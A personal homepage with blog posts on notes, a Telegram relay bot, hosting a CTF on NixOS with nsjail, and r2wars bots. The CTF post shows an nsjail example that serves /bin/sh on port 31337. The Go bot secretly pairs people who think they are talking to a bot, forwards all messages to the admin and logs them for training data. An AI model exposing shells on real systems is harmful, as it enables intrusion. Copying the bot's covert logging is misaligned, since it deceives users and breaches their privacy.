About

Hey, I'm Emile, some person from Germany. On the internet, you will most likely find me under the name hanemile, with the picture below as my avatar.

drawing

This page is ment to be my "homeserver" on the internet. Stuff I do should land here. This page also allows me to broadcast information to people, such as you, that might find it interesting. Many people do stuff like this and I am following this "trend".

Contact

For sending encrypted mail (mail@emile.space), you can find my public-key here.

pub   rsa2048/0x4D8DD313A751DED7 2018-05-06 [SC]
      Key fingerprint = BE5E 7A59 6047 206E 35D1  6EE4 4D8D D313 A751 DED7

Otherwise, you can reach me via matrix (@emile:emile.space)1, via telegram (@hanemile), via twitter (@hanemile), chaos.social (@hanemile@chaos.social) and possibly other sites using the name @hanemile.

SSH

t480

I case you need my public ssh key, here it is:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFgCcG/zfkxv1H74TFjpxP3xeCg/yUOU6hfySMs4AfgK emile@t480

And thanks to ssh-keygen, I can now call myself an artist owning the private key to the following artwork2:

SHA256:jsWQ1A88E+7Ur8Q0RGj4Ll+2SKioM+PDf/61XvS9LWc emile@t480
The key's randomart image is:
+--[ED25519 256]--+
|      .+.+o      |
|     ..oOo       |
|      ooo=+      |
|       =.o.o     |
|       oS o..    |
|      o+o.+.. .  |
|.  . ..+.=.o . . |
|+o. ..  + +   . E|
|o*o.o....o     =.|
+----[SHA256]-----+
1

I'm not reachable via matrix anymore, as hosting the reference homeserver doesn't align with what I think this project is capable of (contact me via other channels and I might elaborate more on why). This doesn't mean I'll never be reachable on matrix, but I'm currenlty waiting for a homeserver to be written that better fits my needs (no, I'm not writing one myself, I've already got enough projects).

2

(Is this like an "NFT" all the people are talking about?)

Projects

titledescription
notesNotetaking as minimal as it gets1
Paged Out! article"Accelerating simulations by clustering bodies using the Barnes-Hut algorithm" for the Paged Out! magazine2
nixosMy nixos3 configurations
matrixA minimal matrix4 sdk
weather botA small matrix4 weatherbot
reqlogA minimal request logger
faila2A simple webserver
redirA webserver with the soul purpose of redirecting
graphClickerA simple frontend for collecting metrics
giffGif as a service
pixeltsunamiA high performance pixelflut client
randomHTTPAn http server returning random stuff
metrics-bundlerA minimal metrics bundler
GalaxySimulator (Writeup) (en) (ger)Simulating galaxies on a large scale
Navarro-Frenk-White Profile containerGenerating galaxies
golang TLE packageGolange package for parsing TLEs5
1

https://twitter.com/m4r1d3/status/1310685714200264705 2: https://pagedout.institute 3: https://nixos.org 4: https://matrix.org 5: https://en.wikipedia.org/wiki/Two-line_element_set

quad

I'm building a Quadrocopter following a similar approach as the Ship of Theseus. The goal is to replace each part step by step to eventually remain with a completely custom built quad. Some parts might be easier to build (such as the frame, although there are lots of things I could tweak here) and other parts might become really demanding (how do I design a flight controller?), but due to there being not limits, the only limit is my imagination (that's a quote from somewhere, I'm pretty sure, I'm just not sure from where, hmu if you know).

Current setup

Listing my "initial" setup might help making it more understandable with what state I'm starting. (I've sourced a lot of the parts from amazon, as most of the shops tend to list the items, but they aren't available which is really frustrating.)

An nice page to get an overview of what parts exist in the shops is http://fpvshops.eu/.

Joshua Bardwell has got A LOT of information stored in videos on his youtube channel which was great for learning. His page https://www.fpvknowitall.com/ has also got a great section called "The Ultimate FPV Shopping List", but beware: most of the items listed are availible in the US, shipping them to the EU can take ages.

Now here the parts I've used in my build:

Flying

Yes, it can fly:

(I've never mentioned landing, eveything eventually lands, so that's not really a problem)

Blogposts

Blogposts are a way that I can communicate with you in a formal manner. This means that this is a place I can post stuff that you can read, such as you are doing now. The topics may vary a lot, but you should find something that might interest you.

Apart from here, I also publish blogposts on tildeho.me on my userpage.

monorepo

Well, I've started working on a kind of monorepo, with a few quirks... let me explain.

I love structuring stuff, but I can't really keep one structure alive long enough, as it will die sooner or later, by me just rebuilding another structure. This has led to me switching beteween multiple different ways of sorting, classifying and orderning my files over the last years. Now I tend to separate everything into it's own little folder: here some programming projects, here some files related my site, here some files in which I keep notes and so on.

Now a few days ago, I realized something: everything somehow belongs together. The notes I have stored as some markdown files are somehow connected to the markdown files making up the pages of my site. The pages of my site are somehow connected to the projects I do. So why not throw everything together into one big repo and work with everything there? Well, are arguments against doing this which are fundamentally correct, but I'm trying this out now.

Individual setups

There are currently three "things" making up the content of the setup, I'll go over them here

The notes setup

I've come to realize that having a folder of markdown files is fairly nice for taking notes, as it is as pure as it get's. I'm free to do anything I'd like with these, I can easily search through them using rg (ripgrep) and overall, it's just future proof.

Until a few days ago, I wasn't really fond of giving these fancy "note taking apps" a try, as all of them I tried (and I did try a lot of them on one evening about two years ago) were not nice. By "not nice", I mean slow, sluggish, getting in my way, slowing to the whole process of doing something and didn't really convince me of changing my current setup.

Then, on the 7th of july 2021, I spoke with dodo (a cool guy from my local hackspace) and he breifly mentioned that he started using obsidian. I went on and gave it a try (by simply dumping all my markdown notes into a new obsidian "vault") and it worked out really well. This might be becaues of obsidian doing stuff pretty much exactly how I'd expect them to: work on plain markdown files and simply provide a sort of overlay, allowing me to handle the syncronization of the files myself.

The projects setup

For projects, I've simply got a folder called projects into which I dump all the projects. There isn't really much more to say about it, it's as simple as it gets.

The site setup

For hosting emile.space, I've gone through multiple iterations and am currently simply hosting a lot of markdown files using mdbook. The file structure is almost exactly as seen in the tree view on the left hand side of the page. In fact, it is so similar to the notes setup, that I went on and created a symlink to the site root from the obsidian vault to see how it works out and it was marvelous. That was when I realized: I can just merge everything and go on from there.

Syncronization layer

Now I mentioned that I've merged everything, and having everything everywhere (on every device) is quite nice. In oder to do so, twink0r once mentioned that syncthing is awesone. And ohhhhhhhh yes it is!

I went on and setup syncthing

It works amazingly well!

Personal websites

This page, the one you're probably reading this on, is my "personal website". But what does that even mean?

Well, on a technical level, I'm hosting a web server you can make requests to receiving information. This information can be anything, but mostly some text. On another level, you are here for information stored in the pages related to a specific topic.

In the end, this whole "personal website" thing is a short form of me transferring information to you without you needing to contact me. This allows me to share information I have in a more efficient way with the world, so that people can find it on their own or I or others can direct them to specific information.

The actual hosting

So now that we've got the "whay host stuff" out of the way, let's get to one of the topics I kind of hate: the how.

The information can be presented in multiple ways. In the end, I've got a few files containing the raw information and want it to look kind of okay. There are infinite ways of presenting this, but I (at the time of writing this), just took the mdbook project, gave it all my markdown files, wrote a small script to build it and push it to a server that hosts the resulting build artifacts.

Now this all works, but having Identified what I've done here, I'd like more insight.

Insights

Insight can mean a few things. The insight I'd like to have is for example page level metrics.

Such metrics might be:

  • How long to people have the page open?
  • How many people have viewed a specific page?
  • Until what point do people read the blobs?

Restructuring

I'm not the person that likes to stand still on a working system. I love to optimize eveything and can't really stay on a point. That's why I've played around with so many systems in the past and have learn, or at least tried out, so many tools, frameworks or other kinds of software.

Since december 2019 (18 months as of writing this post), I've been using NixOS as my primary system, and fully embrace the whole ecosystem. I just kind of like it and would like to build some kind of "personal website" in a similar way. For this to work, I'll need to restructure my current setup.

Goals

The end goal is to provide content for people, so that I don't have to explain everything again and a again getting bored. I'd also like a system that is fun to work with without to many headaches.

The Idea

As with the /nix/store, I'd like to build an immutable /emile.space/store directory, into which all the post I write get thrown into. The input articles could reside somewhre on the system, but when building the page, the articles get modified and inserted into the store for further usage.

I'm thinking of a page that allows me to create profiles containing symlinks to the pages in the store such as the one defined in the /run/current-system/sw/bin on NixOS systems. Now you might ask yourself: Why? Well, with such profiles, I could expose the webserver and handle requests according to users, so If your a user accessing the instance of the webserver in my private wireguard network, you might reach the server as a different "incoming user" and thus get mapped to a specific "profile" and thus get different results (keep in mind: this is just an Idea, I've still gotta find out how good (and if at all) this works).

Finding out the current state

Now for backwards compatibility reasons, I'd still like to inject some kind of file informing the system, that if a user accesses an old path, they should be redirected to the new /emile.space/store/... path.

For this, I'm probabbly simply going to spider the page using gospider.

Building the new system

So the idea is (fairly) simply imho, building it should be quite fun. As I've started doing stuff in Rust. All of this should be packaged in a nix-module and I'd love to play around with nix-channels a bit, as hosting one on my one sounds like fun (although I've read some stuff regarding flakes and I'm currently still unsure if that's the way to go. It still seems to be in the very early stages, so I'll wait a bit for that).

Layouts

I'd prefer building the whole system in a way that allows me to have multiple layouts or "themes".

book style

+------------------------------------------------+
| 1   |             | askjdh |             | 1   |
| 2   |             | asd    |             | 2   |
| 3   |             |        |             | 2.1 |
| 4   |             | asda   |             | 2.2 |
| 5   |             | asd    |             | 3   |
| 6   |             |        |             | 4   |
| 7   |             | Asdas  |             |     |
|     |             | oius   |             |     |
|     |             | oiaus  |             |     |
+------------------------------------------------+

On the left: an mdbook like meta navigation bar containing defined links to resources in the current profile.

In the middle: The actual content.

On the right: the table of contents (in wide screen mode), built from the headings in the file.

MAN-style

+------------------------------------------------+
| title              <path>                 date |
|                                                |
| SECTION                                        |
|         8 spaces free, then the content        |
|                                                |
| SECTION                                        |
|         8 spaces free, then the content        |
|                                                |
| title              <path>                 date |
+------------------------------------------------+

Architecture

As mentioned before I'd like a setup similar to the profiles in the nix-store.

In my case, this would look like this:

Resources

/emile.space/d3642bae...-blogpost-nixctf/
/emile.space/1a2f0f7a...-talk-2021-betreutes-hacken/
/emile.space/6a50e9a7...-writeup-2020-nahamconctf-full-leak/

My idea here is to treat the resources like binaries. Like in the nix store, executing a binary by providing the whole path isn't really nice and adding every single resouce to the "PATH" also isn't really nice, so there needs to be a better way. The nix store manages this in profiles. The profiles contain symlinks to "activated" packages, the analogy can be transferred here in a way that published resources can be seen as "activated". This would mean that if I've got a resource that I'm currenly writing, I can add it the the "draft" profile, allowing me to see it, but not others (I'll have to figure out how to handle authorization and how to filter what entities can access that profile, but that's a problem for later).

Profiles

.
├── 1ea51c06...-writeup-2020-nahamconctf-full-leak
├── 3435e849...-blogpost-nixctf
├── 9ef931a0...-talk-2021-betreutes-hacken
└── profiles
    ├── draft
	│   └── writeup-2020-nahamcon-full-leak ->
/emile.space/1ea51c06...-writeup-2020-nahamconctf-full-leak/
    └── published
		├── blogpost-nixctf -> /emile.space/3435e849...-blogpost-nixctf/
		└── talk-2021-betreutes-hacken ->
/emile.space/9ef931a0...-talk-2021-betreutes-hacken/

Now can we drive this even further? Can we use nix itself for this, creating packages from our articles that can then be referenced? Well, ... yes.

Turing bot

I've played around a bit with Markov Chains and have found them to be a fun and simple way to generate sentences from existing data. A problem I've had was to actually aquire such data for generating the markov chain. I've used The Entire Bee Movie Script and the updated version of the Gutenberg dataset as an input, but none of there really satisfied me. The sentences end up just being weird and don't really make sense in context.

Data

That was the moment I realized I needed data, lots of data and it hat to be somehow realistic. The end goal was to build a chatbot you could chat with and get okish responses. Obtaining data is hard, due to throwing all moral understanding overboard being bad habit. The data we need ist the data produced in private chats, so I tried inserting my telegram history into the markov chain, but the result was kind of underwhelming. I didn't really find the right settings for the sentences to be appropriate and it just isn't enough data.

Removing the bot

Then I had the idea of building a bot people could talk to and use that conversation as data for the markov chain. Problem: this presupposes that such a bot already exists: a contradiction. We can solve this problem by completly eliminating the bot:

I built a small bot that just functions as a gateway connecting two people. The people think that they are talking to a bot, but in the end, they're talking to each other. This led to really interesting conversations and I kind of felt as if I was watching a turing test (I was, but it was kind of surreal).

Learnings

There were more learnings than "writing a telegram bot is fairly easy": Watching how people talk with each other and unknowingly try to test the limits of bots is super interesting and entertaining at the same time.

Reactions

"Ja und bin überrascht wie gut. Mache hauptsächlich Definitionsfragen und kann mir vorstellen, dass da paar klügere Search-Engine-Queries hinterhängen, aber ich konnte auf Englisch wechseln".

"Yes and I'm surprised how good. I'm mostly asking definition questions and can imagine there are some smarter search engine queries in the backend, but I was able to switch to English"

Code

The complete code is a bit more than 100 lines of pure code, I've added a lot of comments for making it easier to understand, even for beginners.

Beware: this code was written down in a matter of minutes, there are a lot of things wrong with it (such as everything being in the main function), but it works for a minimal prototype which was the goal of all of this.

package main
 
import (
	"fmt"
	"log"
	"os"
	"time"
 
	tgbotapi "github.com/go-telegram-bot-api/telegram-bot-api"
)
 
// Connections is a map storing connections between people
var Connections map[int64]int64
 
// ChatIDPerson maps a chatID to a username
var ChatIDPerson map[int64]string
 
func main() {
	// define the bot
	bot, err := tgbotapi.NewBotAPI("REDACTED")
	if err != nil {
		log.Panic(err)
		return
	}
 
	u := tgbotapi.NewUpdate(0)
	u.Timeout = 60
	updates, err := bot.GetUpdatesChan(u)
 
	// initialize the connections and the chatidperson map
	Connections = make(map[int64]int64)
	ChatIDPerson = make(map[int64]string)

	// insert the "admin" chatid for recieving notifications when the bot
	// starts and getting all the messages
	var emile int64 = "REDACTED"

	// create a file to log the messages for inserting them into the markov
	// chain
	f, err := os.Create(fmt.Sprintf("%d.txt", time.Now().UnixNano()))
	if err != nil {
		log.Panic(err)
		return
	}

	// Intialilize known connections here:
	// var alice int64 = 123456
	// var bob int64 = 654321
	// Connections[alice] = bob
	// Connections[bob] = alice
 
	// send the "admin" a message that the bot has started
	msg := tgbotapi.NewMessage(emile, "Bot started")
	bot.Send(msg)
 
	// print all existing connections and send them to the admin
	for sender, reciever := range Connections {
		connection := fmt.Sprintf("%s: %s\n", ChatIDPerson[sender], ChatIDPerson[reciever])
		fmt.Printf("%s", connection)
		msg1 := tgbotapi.NewMessage(emile, connection)
		bot.Send(msg1)
	}
 
 
	// this is the "main" loop, we can handle message updates (aka. incomming
	// messages) in here
	for update := range updates {

		// ignore any non-Message Updates
		if update.Message == nil {
			continue
		}
 
		// define shorthands for the chat id the current message is from and
		// the message text
		chatID := update.Message.Chat.ID
		message := update.Message.Text
 
		// don't handle anything except for text messages
		if update.Message.Audio != nil || update.Message.Document != nil || update.Message.Photo != nil || update.Message.Sticker != nil || update.Message.Video != nil || update.Message.Voice != nil || update.Message.Contact != nil || update.Message.Location != nil || update.Message.Sticker != nil {
			msg1 := tgbotapi.NewMessage(chatID, "ERROR")
			bot.Send(msg1)
		}
 
		// if the user enters /start, tell them to enter /connect to get connected to another user 
		if message == "/start" {
			msg1 := tgbotapi.NewMessage(chatID, "Enter /connect to connect to a bot to talk to.")
			bot.Send(msg1)
		}
 
		// if the users enters /connect, try establishing a connection with
		// another user. If no other user is available, wait until another
		// user enters /connect to get connected
		if message == "/connect" {

			// null the own connection, this deletes the connection if the user
			// is already connected to another user
			partnerID := Connections[chatID]
			if Connections[chatID] != 0 {
				Connections[partnerID] = 0
				msg := tgbotapi.NewMessage(partnerID, "You have been disconnected, enter /connect to talk with another bot.")
				bot.Send(msg)
			}
 
			// this loop iterates over all connections searching for a person
			// that currently has not connection partner, 
			var randomChatID int64 = 0
			for a, b := range Connections {

				// make sure that people don't get connected with themselves or
				// their previous connection partner
				if a != chatID && a != partnerID && b == 0 {

					// if a person is found, inform the user and the connection
					// partner that they've been connected
					randomChatID = a
					msg1 := tgbotapi.NewMessage(randomChatID, "You are now connected to a bot, write something!")
					bot.Send(msg1)
					msg2 := tgbotapi.NewMessage(chatID, "You are now connected to a bot, write something!")
					bot.Send(msg2)
				}
			}

			// if no person was found, the user has to wait until another
			// person enters /connect, inform them that this might take a while
			if randomChatID == 0 {
				msg := tgbotapi.NewMessage(chatID, "I'll notify you as soon as I've got a bot that can talk to you *warteschlangenmusik*.")
				bot.Send(msg)
			}

			// establish the connection between the user and the connection
			// partner
			Connect(chatID, randomChatID)
		}
 
		// if the user has no connection partner and doesn't enter /connect,
		// inform them that they can enter /connect in order to be connected
		if Connections[chatID] == 0 && message != "/connect" {
			msg1 := tgbotapi.NewMessage(chatID, "Enter /connect to connect to a bot to talk to.")
			bot.Send(msg1)
		}
 
		// if the user has got a connection partner, send their messages there
		if Connections[chatID] != 0 && message[0] != '/' {
			msg := tgbotapi.NewMessage(Connections[chatID], message)
			bot.Send(msg)
		}
 
		// also send all messages to the admin, this ist for "moderation", as
		// we don't want this to end bad, for more information on the
		// problems arising with this, see the "problems" section in the
		// blogpost below
		formattedMessage := fmt.Sprintf("<%s> %s", update.Message.From.FirstName, message)
		msg := tgbotapi.NewMessage(emile, formattedMessage)
		bot.Send(msg)
 
		// add the firstname of the person to the mapping from chatid to name
		ChatIDPerson[chatID] = update.Message.From.FirstName
 
		// log the messages sent
		log.Printf("<%d> [%s]→[%s] %s", update.Message.Chat.ID, update.Message.From.FirstName, ChatIDPerson[Connections[chatID]], update.Message.Text)
 
		// print all connections
		for sender, reciever := range Connections {
			fmt.Printf("%s: %s\n", ChatIDPerson[sender], ChatIDPerson[reciever])
		}
 
		// write the messages to the logfile
		_, err := f.WriteString(message + "\n")
		if err != nil {
			log.Panic(err)
			return
		}
	}
	f.Close()
}
 
// Connect a chat to another
func Connect(chatID int64, otherChatID int64) {
	Connections[chatID] = otherChatID
	Connections[otherChatID] = chatID
}

Menger Sponge

A Menger Sponge ist a fractal curve with a surface area approching $\infty$ while the volume approches $0$ for higher order Merger sponges.

This seemed interesting, so I built one out of paper.

  1. Fold 72 sonobe:
  2. Insert the individual sonobe together to form the merger sponge:

Next step: Build a $M_2$ merger sponge (left as an exercise for the reader).

Nix CTF

A short blogpost detailing the setup used to host a fairly spontaneous CTF at the Location not included 2020 hosted by das labor, the hackspace in Bochum.

Getting started

So, in order to host a CTF, there are two main groups of services needed: a Scoreboard and some Challenges.

The Scoreboard is there to track the amount of points each team has got in order to rank them.

The Challenges are accessible independantly allowing them to be run literally everywhere.

Having these two groups setup, a basic CTF-event can be held. It is important to note here, that these two can (in theory) run completely independant from each other, the only shared knowlege should be the name of the challenges and their flags hash.

Let's get into the detail of what there is to take care of and how I did this for the CTF.

The Scoreboard

The scoreboard should rank the teams, thus count amount of points that they have obtained by solving challenges... or should it be done differently?

Let's say you've built challenges and started defining the amounts of points a challenge is worth on your own. The result is biased, due to you knowing the solution and thus possibly misjudging the challenge difficulty.

A possible popular solution to this is called "Dynamic Scoring". Using this concept, each challenge is worth a fixed amount of points from the beginning and the amounts of points the challenge is worth sinks with the amount of teams solving the challenge. For example, the challenge may be worth 500 points withouy any team having solved it, but if a team manages to solve the challenge, the amount of points the challenge is worth drops to 499. With another solve, the points drop eaven further to 484 and so forth (we're getting to how these points are calculated in a minute!).

Dynamic scoring

So when implementing dynamic scoring, we need to keep track of how often a challenge was solved and the challenges the individual teams have solved. Using this, we can calculate the amount of points a challenge is worth:

MAX     : 500      No solves
MIN     : 100      DECAY solves
DECAY   : 15       Amount of solves needed in order to reach minimum points
ALG     :          (((MIN - MAX)/(DECAY ^ 2)) * (solves ^ 2)) + MAX

MAX defines the amount of points a challenge is worth without any solves.

MIN defines the amount of points a challenge is atleast worth, the challenge should never be worth less.

DECAY defines how many teams have to have solved the challenge, so it is worth MIN points.

ALG is the algorithm used for this, we insert the values defined above here (and the amount of solves this challenge has got) in order to get the amount of points the challenge is worth.

If you wan't to try this out, head to the scoreboard-repo, set it up and play around with it!

The challenges

Having challenges running is important, having running challenges even more important and having challenges that keep the players in their bounds is really important (Events in the past have shown that this can end well, but we don't want to risk anything).

Step 1: build a challenge:

I'll split this up into the two main categories each challenge can have (no not pwn, web, cry or so...). These categories are static challenges and dynamic challenges.

Static

Static challenges are challenges, for which the player only need some files, for example in a lot of crypto challenges, the players are given files, but don't get any interactive service they can interact with.

Static challenges can be hosted almost anywhere, the important part here is that the players get access to the location the challenges are hosted, and that the host is capable of hosting challenges potentially a lot of players.

Dynamic

Dynamic challenges on the other hand are challenges that the players interact with. This means that as an organizer, you host the challenges somewhere and the players need to interact with the service you've hosted.

The best example for this category is the pwn category in most CTFs: players get a binary, exploit it locally and then run the exploit on a server provided by the orgainzers.

The clue here is to have the service exposed strongly isolated. All in all: the player should be able to play the challenge, but not pivot through your network.

Isolation

Isolation can be achieved in many ways. For example, limiting the stuff the user can do very strictly. This might as well be "don't build broken software", so we need a better way to do this...

First of all, let's define what we've got: Let's say we've build an interactive challenge (for example one that might look like a python shell). We allow the user to enter stuff and exec it. The user can now in theory do everythig they want on the host the service is running on. In order to prevent this, we could insert the service into a container or so, but containers don't automatically mean security...

Luckily, we're not the first one's organizing such a CTF, so people have built stuff that might help, for example nsjail. Nsjail is a "A light-weight process isolation tool [...]" allowing us to isolate our challenge. Even better, njail offers a lot of stuff making hosting such vulnerable challenges great: It can host a binary, wait for a connection and upon recieving a connection run some binary or so connecting the network io with stdin and stdout.

From the examples at the bottom of the nsjail man --help page:

# Wait on a port 31337 for connections, and run /bin/sh
> nsjail -Ml --port 31337 --chroot / -- /bin/sh -i

That's exactly what we need to host a ctf: an service that, opon connecting to, executes a binary. Gone are the times of starting a completely new container for each participant (at least for most challenges)!

Hosting a challenge in the CTF looked a bit like this:

> nsjail -Ml \
	--hostname host \
	-T /dev \
	-R /dev/urandom \
	-R /dev/pts \
	--port 9999 \
	--user 1337 \
	--group 1337 \
	--chroot / \
	--cwd /home/user \
	--stderr_to_null \
	-E LANG=C.UTF-8 \
	-E TERM=xterm \
	-E FLAG=flag{******************} \
	 -- \
	/usr/bin/python3 /home/user/main.py

But all of this still has to be hosted, so let's get into that a bit...

Infra

Container foo

First of all, all dynamic challenges should be containerized for example as below:

FROM nsjailcontainer

RUN useradd user
RUN apt-get update

RUN apt-get install -y python3

ENV flag="flag{****************}"
COPY main.py /home/user/main.py

ENTRYPOINT [ "/bin/nsjail" ]

As the entrypoint is set to nsjail, we can provide the nsjail arguments when running the container, but let's first look at how nixos comes into this, as it does play a crucial role...

Hosts

For this tiny CTF, there was one host (although I'd reccommend to use atleast two hosts in order to have the scoreboard on a seperate host).

The tiny CX11 from hetzner was used for this, and my laptop was used for deploying it's config using nixops.

The host is running NixOS allowing us to configure the system only using it's configuration.

Nixops

Nixops can be used to deploy nixos configurations to other hosts. (I wrote a short post here describing the process, du the documentation skipping any kind of introduction).

This allows us to define the config for the remote host on our machine in the config and use nixops to deploy this config to the remote host running the services and/or the scoreboard.

TL;DR of the nixops blogpost:

  1. Create a target.nix file containing information on where the host is running
{
  target = { config, pkgs, ... }: {
    deployment.targetHost = "123.122.111.110";
  };
}
  1. Create a config.nix file containing the configuration for that host:
{
  network.description = "nixops example";

  target = {config, lib, pkgs, ...}: {
  
  # insert complete config here
  
  };
};
  1. Create the deployment:
> nixops create ./target.nix ./config.nix -d target
created deployment ‘6883071e-df3c-11ea-bd95-0242dcf913a0’
6883071e-df3c-11ea-bd95-0242dcf913a0
  1. List your deployments:
> nixops list
+--------------------------------------+--------+------------------------+------------+------+
| UUID                                 | Name   | Description            | # Machines | Type |
+--------------------------------------+--------+------------------------+------------+------+
| 6883071e-df3c-11ea-bd95-0242dcf913a0 | target | Unnamed NixOps network |          0 |      |
+--------------------------------------+--------+------------------------+------------+------+
  1. Deploy!
> nixops deploy -d target
...
target> deployment finished successfully

Challenge definitions

In order to host our challenges, we need to somehow instruct nixos to fetch the docker images containing the individual challenges from somewhere and run them. For doing this, I setup a small directory structure in order to split up the config a bit:

.
├── config.nix
├── target.nix
└── modules
   ├── boot.nix
   ├── ctf
   │  ├── chall
   │  │  ├── hashy.nix
   │  │  ├── ...
   │  │  └── visible.nix
   │  └── scoreboard
   │     ├── postgres.nix
   │     └── scoreboard.nix
   ├── ctf.nix
   ├── hardware-configuration.nix
   ├── ...
   ├── services
   │  ├── ...
   │  ├── nginx
   │  │  ├── ctf.emile.space.nix
   │  │  ├── ...                   
   │  │  └── static.emile.space.nix
   │  ├── ...                      
   │  └── nginx.nix
   ├── services.nix
   ├── timezone.nix
   ├── users.nix
   └── virtualisation.nix

First of all, let's look into config.nix:

{
  network.description = "nixops example";
  
  target = {config, lib, pkgs, ...}: {
  
  imports = [
    ./modules/boot.nix
    
    ...
    
    ./modules/ctf.nix
    ./modules/services.nix
  ];
  
  system.stateVersion = "20.03"; 
  
  };
};

So we import ctf.nix, let's look into there:

{
  imports = [
    ./ctf/chall/visible.nix
    ...
    ./ctf/chall/hashy.nix

    ./ctf/scoreboard/postgres.nix
    ./ctf/scoreboard/scoreboard.nix
  ];
}

This imports all the container definitions, let's look into a single challenge container, as this is the part that get's interesting:

{
    virtualisation.oci-containers = {
        backend = "docker";
        containers = {
            "abcd" = {
                image = "abcd";
                extraOptions = [
                    "--privileged"
                ];
                ports = [
                    "9990:9999"
                ];
                cmd = [
                    "-Ml"
                    "--hostname" "host"
                    "-T" "/dev"
                    "-R" "/dev/urandom"
                    "-R" "/dev/pts"
                    "--port" "9999"
                    "--user" "1337"
                    "--group" "1337"
                    "--chroot" "/"
                    "--cwd" "/home/user"
                    "--stderr_to_null"
                    "-E" "LANG=C.UTF-8"
                    "-E" "TERM=xterm"
                    "-E" "FLAG=flag{************************}"
                    "--"
                    "/usr/bin/python3" "/home/user/main.py"
                ];
            };
        };
    };
}

What we do here, is we instruct nixos to run a docker container using the image with the given name (honestly, it would be practical to just use a private registry here, but due to some time constraints and me not bothering with diving into that rabbit hole, I just build the images and moved them to the host...).

The container is run as privileged which would normally be a huge no-go, but we have to allow nsjail to do it's magic.

We expose port 9990 for the challenge to be accessed on (note: the port in the container is port 9999, as we defined it in the nsjail command).

All challenges, the scoreboard and the database are setup like this.

(Sidenote: There's a lessons learned at the bottom containing information on what could have been better)

nginx

In order for the scoreboard to be visible at ctf.emile.space, we need a bit of nginx and we can configure it using nixos. First of all, let's looked how it get's imported into the config.nix (I'll keep this a bit shorter):

  • config.nix imports services.nix
  • services.nix imports all the services in the modules/services/ folder, including nginx.nix
  • nginx.nix imports all the virtualhosts defined in modules/services/nginx/ folder, including ctf.emile.space.nix

Ok, so ctf.emile.space.nix contains the definition for an nginx virtualhost:

{
    services.nginx.virtualHosts = {
        "ctf.emile.space" = {
            enableACME = true;
            forceSSL = true;

            locations = {
                "/" = {
                    proxyPass = "http://127.0.0.1:8000";
                };
            };
        };
    };
}

All we do here is to proxy ctf.emile.space to the internal service exposing the scoreboard allowing user to access it.

Overall, I find it quite amazing that nixos allows me to configure everything using this one config format. If you'd like to dive deeper into this and don't know it yet, search.nixos.org is a wonderful page allowing you to browser the packages and config options you can use.

Meta

When stuff goes wrong, it is normally nice to be in control. For example: when a challenge is broken. The firsy thing should be to remove the challenge from the plage where new players access the challenge, so no new people access it. Another thing might be do disable flag submission for that particular challenge.

For doing all of this, an admin web-interface or so might be really practical, but as minimal as the scoreboard is, as minimal is the solution: a config file that is being watched by viper (config management in go) with sort of hooks that execute given functions upon change. This allows a function to read the config after it has been changed and sync the state of that config to the database.

Using this, we can adjust the active state of a single challenge just by changing it's value in the config. Another thing that might be practical is updating the flag hash.

Lessons learnt

As promised, a small lessons leart: Overall, things went really well, but here some stuff that was missing:

Updating challenges was kind of weird: due to me having to update the docker images on the host manually, it didn't really work by simply editing the challenge locally, pushing the result to a repo that might use drone as we did last year to build the docker image and push it to a private registry that is then accessd by nixos.

Building the docker images using ordinary Dockerfiles is boring! NixOS offers building declarative docker images that are optimized for caching and stuff like that. I build a minimal image, but didn't get to build the challenges using that technology altough it would have been another step in the pipeline what could have been solved using existing nix-ology :D, I'll try it in the next CTF.

r2wars

Over the last few days, I’ve played around with r2wars, a competion typically between two programs that try to survive as much time as possible in a shared memory space. A python implementation of r2wars can be found on github as well as a C# Implementation.

What is radare2?

So let's start at the beginning with a question that might help some unfamiliar people understand all of this: what radare2 actually is. According to Wikipedia,

"Radare2 is a complete framework for reverse-engineering and analyzing binaries; composed of a set of small utilities that can be used together or independently from the command line. — Wikipedia - Radare2

So we can use radare to take apart binaries, but using all the tools included, we can do much more as you'll see next.

radare2 commands tend to be not so descriptive. If you don't know what a command does, you can append a question mark to the command to get some help. If you know what you want to do, but don't know the command that might be able to do what you want to do, you can use this alias to search through all radare commands interactively:

"alias r2help="r2 -qq -c '?*~...' --"

What is r2wars?

Over the last few days, I’ve played around with r2wars, a competion typically between two programs that try to survive as much time as possible in a shared memory space. A python implementation of r2wars can be found on github as well as a C# imple-mentation2.

There exist similar forms of games such as Core Wars, but what makes r2wars different is that the bots can be built in any architecture supported by ESIL (Evaluable Strings Intermediate Language), more than 2 programs can run at the same time and cyclic execution cost matters for the turns.

r2wars in detail

So here we go, some more in detail information on how stuff works:

Bots

The "players" are bots. A bot is a piece of assembly, written in either x86, arm or mips using either 8, 16, 32, or 64 bit registers. A super simple bot doing nothing but locating itself in memory might look like this: (x86, 32 bits)

call me
me:
    pop eax

Assembling such a bot can be done using rasm2, the radare2 assembler and disassembler tool, as displayed in the listing below.

> rasm2 -a x86 -b 32 -f bot.asm
e80000000058

The bot created can be inspected, by disassembling it again using rasm2 like below.

> rasm2 -D e80000000058
0x00000000   5      e800000000  call 5
0x00000005   1              58  pop eax

The Arena

So now that you know how to assemble a bot, let's define the "arena" or the shared memory space in which the bots will battle.

Allocating memory for the Arena

First of all, some memory should be allocated, for two bots, 1024 bytes should be enough. Memory can be allocated by radare as displayed below:

> r2 malloc://1024
 -- How about Global Thermonuclear War?
[0x00000000]>

By doing this, we allocated 1024 bytes of memory. This is the shared space in which the bots will battle each other.

[0x00000000]> o
 3 * rwx 0x00000400 malloc://1024

As you can see, the memory allocated is mapped rwx and consists of 1024 (0x400) bytes.

Setting up the arena and ESIL

The next step to building the arena is to define the architecture and the size of the registers that should be used:

[0x00000000]> e asm.arch = x86
[0x00000000]> e asm.bits = 32

The next step is to initialize the ESIL VM state as well as the VM stack. All radare2 command for editing the ESIL VM are prefixed with ae.

[0x00000000]> aei 	# initialize ESIL VM state
[0x00000000]> aeim 	# initialize ESIL VM stack<

Generating initial positions for the bots

The arena is now set up, the next step is to insert the bots into the arena. Selecting where to insert the bots is kind of crucial, because the bots should not be inserted into each other and not to close to the end of the arena (0x400 in this case).

In order to generate a random offsets where the bots can be placed, multiple addresses should be generated in the following way:

genspace = [0x000, 0x3c0)
maxbotspace = [0x3c0, 0x400)
0x000                        0x340              0x400
+ -------------------------- + -----------------+
|          gen space         |  max bot space   |

The space in which the bots should be generated is defined as "gen space". This means we can generate a random address in the range [0, 0x340) in which we can (in theory) place the first bot.

After placing the first bot at, for example, 0x40, the address space in which the address for the second bot is chosen from is shrunk to [0x40 + maxbotsize, 0x340] as displayed below.

0x000      0x040             0x340              0x400
